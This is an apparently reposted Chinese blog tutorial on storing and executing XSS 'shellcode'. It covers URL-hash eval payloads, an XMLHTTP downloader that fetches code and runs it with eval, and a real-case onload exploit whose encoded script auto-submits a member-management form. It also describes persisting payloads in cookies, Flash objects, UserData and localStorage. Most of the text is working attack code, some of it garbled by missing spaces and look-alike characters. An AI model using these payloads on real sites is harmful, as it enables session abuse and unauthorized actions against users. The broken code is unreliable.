XSS ShellCode的调用

1.动态调用远程JavaScript
假设www.bug.com是某个页面含有一个XSS漏洞,Exploit如下:
http://www.bug.com/view.php?sort=[Exploit]
可以直接把Shellcode写到URL参数中,如:
http://www.bug.com/view.php?sort=">
方便起见可以把Shellcode写到其他服务器的文件上,然后在用<
http://www.bug.com/view.php?sort="> <
 
除了使用#alert('xss')
//其中substr()可在字符串中抽取从start下标(这里是1)开始的指定数目的字符,所以location.hash.substr(1)的作用是抽取"#"符号后面的字符,即alert('xss').而eval()函数用来计算某个字符串,并执行其中的JavaScript代码,通过这个技巧,就能先把Shellcode写到地址参数中在执行.
http://www.bug.com/view.php?sort=">#varurl="/index.php?mod=blog&act=dopost";varcontent="blog_content=By%3A%E5%AD%A4";function_sd_Post(Url,Args){varxmlhttp;var error;eval('try {xmlhttp=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xmlhttp=null;error=e;}');if(null!=xmlhttp){xmlhttp.Open("POST",Url,false);xmlhttp.setRequestHeader("x-requested-with","XMLHttpRequest");xmlhttp.setRequestHeader("Referer","http://www.my.com/api_proxy.html");xmlhttp.setRequestHeader("Accept","application/json,text/javascript,*/*");xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xmlhttp.setRequestHeader("Host","www.my.com");xmlhttp.Send(Args);StrText=xmlhttp.reponseText;}}_sd_Post(url,content);
这个XSS Exploit还可以经过各种编码处理以加强迷惑性.
 
3.XSSDownloader
另外一种存储和调用Shellcode的方法,即将其存储到网站的数据库中,包括网页信息、文章内容、个人资料等地方,然后再把他们下载下来执行.
简单地说,就是打造一个XSSdownloader(XSS下载器),事先把Shellcode写在网站的某个页面,在利用XMLHTTP控件向网站发送HTTP请求(POST或GET),然后执行返回的数据.
简单的POC:
functionXSS(){       /*定义一个XSS()函数,该函数就是调用Shellcode的主函数*/
a=newActiveXObject('Microsoft.XMLHTTP');  /*创建一个XMLHTTP对象*/
a.Open('get','http://www.bug.com/11221.html',false);
a.send();           /*向11221.html发送一个HTTP请求并获取HTTP响应*/
b=a.responseText;  /*获取responseText,结果返回为字符串,把该变量赋值给b变量*/
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
                  /*用indexOf()函数计算BOF|和|EOF的位置,再用substring()函数方法取
                  出字符串,最后用unescape()函数方法解码执行*/
}d()
 
http://www.bug.com/11221.html页面代码:
Xx09abcxddxBOF|alert(/XSS/)|EOFxxx44xx1212
 
真实XSS利用案例:
某网站同学录留言的贴图URL输入框处出现过XSS,主要是用onload事件来触发,Exploit如下:
//在留言的贴图URL的输入框里填写
/editor/UploadFile/2006-12/2/2006122155124754.gif"οnlοad="var t=document.body.innerHTML;var s=t.indexOf('+++')+3;vare=t.indexOf('---');eval(unescape(t.substring(s,e)));">
 
//在留言框内填写:
+++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09frm.onload%20%3D%20function%28%29%20%7B%0D%0A%09%09var%20oFrm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09%09oFrm.onload%20%3D%20%22%22%3B%0D%0A%09%09var%20oDoc%20%3D%20oFrm.contentWindow.document%3B%0D%0A%09%09oDoc.all%5B%22who%22%5D%5B1%5D.checked%20%3D%20true%3B%0D%0A%09%09oDoc.dealmember.action%20%3D%20%22backaction/UpdateClassMate.jsp%3Ff%3D1%22%3B%0D%0A%09%09oDoc.dealmember.submit%28%29%3B%0D%0A%09%7D%0D%0A%09frm.src%20%3D%20as%5B34%5D.href%3B%0D%0A%7D%20catch%20%28e%29%20%7B%0D%0A%09alert%28e%29%3B%0D%0A%7D---
 
XSS代码触发后,会调用留言内容中的+++和---之间的部分代码,对这段代码解码后得到核心的Shellcode如下:
try {
var as =document.getElementsByTagName("a");
var frm= document.getElementsByTagName("iframe")[0];
frm.οnlοad= function() {
var oFrm= document.getElementsByTagName("iframe")[0];
oFrm.οnlοad= "";
var oDoc= oFrm.contentWindow.document;
oDoc.all["who"][1].checked= true;
oDoc.dealmember.action= "backaction/UpdateClassMate.jsp?f=1";
oDoc.dealmember.submit();
}
frm.src= as[34].href;
} catch(e) {
alert(e);
}
 
4.备选存储技术
随着XSS技术的不断发展,攻击者想出来越来越多巧妙的方法去存储和调用XSS Shellcode,较为新颖的方式是把XSS Shellcode存储在客户端本地域中,譬如HTTP cookie、Flash共享对象、UserData、localStorage等.
其中Cookie是客户存储技术中的传统解决方法,但是它有个明显的缺点,就是存储的容量有限,被限制在4KB内.

在Cookie中存储Shellcode的POC如下:
functionsetShellCodz(codz){
var exp=new Data();
exp.setTime(exp.getTime()+365*24*60*60*1000);
document.cookie='shellcode='+escape(codz)+';'+'expires='+exp.toGMTString();
}

另一种存储容器是Flash共享对象(Shared Object,SO),类似于HTTP Cookie的运用方式,所以也被称作Flash Cookie.
与普通Cookie的4KB限制不同,SO存储最大可达100KB,并且可以使用任何形式的JS对象,缺点是必须要使用Flash软件.
 
除了以上两种Cookie,还可以使用IE的UserData存储XSS Shellcode.UserData是微软专门为IE在系统中开辟的一块存储空间,最少能支持64KB,不足之处是只能在IE浏览器上使用.


另外,HTML5也提供了两种在客户端存储数据的新方法,包括localStorage和sessionStorage,其用法基本相同.以localStorage为例,存储数据的方法是直接给window.localStorage添加一个属性,如:window.localStorage.a或者window.localStorage["a"]
它的读取、写入、删除操作方法很简单,是以键值对的方式存在的:

 
这段代码会创建一个变量a,并把XSS存储进去,然后把相关信息打印出来.
需要支持HTML5的浏览器才能看到效果.
xss访问次数1 time(s) .      xss访问次数2time(s) .
 
如果要把XSS Shellcode存储在localStorage中,操作如下:
 
//保存Shellcode
functionsetShellCodz(codz){
window.localStorage.setItem("shellcodz",codz);}
 
//执行Shellcode
functiongetShellCodz(){
eval(window.localStorage.getItem("shellcodz"));}

你可能感兴趣的:(Web前端经验之谈)